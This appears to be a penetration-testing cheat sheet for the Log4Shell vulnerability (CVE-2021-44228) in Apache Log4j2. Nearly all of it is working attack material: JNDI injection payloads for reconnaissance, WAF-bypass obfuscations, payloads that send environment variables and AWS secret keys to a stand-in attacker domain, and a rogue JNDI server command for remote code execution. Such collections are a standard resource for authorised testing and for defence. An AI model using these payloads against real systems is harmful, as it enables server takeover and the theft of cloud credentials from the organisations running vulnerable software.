# CVE-2021-44228 Log4Shell

> Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled

## Summary

* [Vulnerable code](#vulnerable-code)
* [Payloads](#payloads)
* [Scanning](#scanning)
* [WAF Bypass](#waf-bypass)
* [Exploitation](#exploitation)
    * [Environment variables exfiltration](#environment-variables-exfiltration)
    * [Remote Command Execution](#remote-command-execution)
* [References](#references)

## Vulnerable code

You can reproduce locally with: `docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app` using [christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) or [leonjza/log4jpwn](
https://github.com/leonjza/log4jpwn)

```java
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
    logger.info("Received a request for API version " + apiVersion);
    return "Hello, world!";
}
```

## Payloads

```bash
# Identify Java version and hostname
${jndi:ldap://${java:version}.domain/a}
${jndi:ldap://${env:JAVA_VERSION}.domain/a}
${jndi:ldap://${sys:java.version}.domain/a}
${jndi:ldap://${sys:java.vendor}.domain/a}
${jndi:ldap://${hostName}.domain/a}
${jndi:dns://${hostName}.domain}

# More enumerations keywords and variables
java:os
docker:containerId
web:rootDir
bundle:config:db.password
```

## Scanning

* [fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan) - Log4Shell scanning utility

    ```powershell
    usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
                        [--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]
    python3 log4j-scan.py -u http://10.10.10.10:8081 --run-all-test
    python3 log4j-scan.py -u http://10.10.10.10:8080 --waf-bypass
    ```

* [Nuclei Template](https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/cves/2021/CVE-2021-44228.yaml)

## WAF Bypass

```powershell
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://10.10.10.10:1389/a}

# using lower and upper
${${lower:jndi}:${lower:rmi}://10.10.10.10:1389/poc}
${j${loWer:Nd}i${uPper::}://10.10.10.10:1389/poc}
${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}

# using env to create the letter
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//[ATTACKER.DOMAIN.TLD]/a}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//[ATTACKER.DOMAIN.TLD]/a}
```

## Exploitation

### Environment variables exfiltration

```powershell
${jndi:ldap://${env:USER}.${env:USERNAME}.[ATTACKER.DOMAIN.TLD]:1389/

# AWS Access Key
${jndi:ldap://${env:USER}.${env:USERNAME}.[ATTACKER.DOMAIN.TLD]:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}
```

### Remote Command Execution

* [artsploit/rogue-jndi](https://github.com/artsploit/rogue-jndi) - Rogue JNDI LDAP/RMI exploitation server

    ```ps1
    java -jar target/RogueJndi-1.1.jar --command "whoami" --hostname "10.10.10.10"
    Mapping ldap://10.10.10.11:1389/ to artsploit.controllers.RemoteReference
    Mapping ldap://10.10.10.11:1389/o=reference to artsploit.controllers.RemoteReference
    Mapping ldap://10.10.10.11:1389/o=tomcat to artsploit.controllers.Tomcat
    Mapping ldap://10.10.10.11:1389/o=groovy to artsploit.controllers.Groovy
    Mapping ldap://10.10.10.11:1389/o=websphere1 to artsploit.controllers.WebSphere1
    Mapping ldap://10.10.10.11:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
    Mapping ldap://10.10.10.11:1389/o=websphere2 to artsploit.controllers.WebSphere2
    Mapping ldap://10.10.10.11:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
    ```

* [pimps/JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit) - JNDI exploitation helper toolkit

## References

* [Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package - LunaSec - December 12, 2021](https://web.archive.org/web/20240619113824/https://www.lunasec.io/docs/blog/log4j-zero-day/)
* [Log4Shell Update: Second log4j Vulnerability Published (CVE-2021-44228 + CVE-2021-45046) - LunaSec - December 14, 2021](https://web.archive.org/web/20240511165624/https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/)
* [PSA: Log4Shell and the current state of JNDI injection - Moritz Bechler - December 10, 2021](https://web.archive.org/web/20250903054130/https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/)
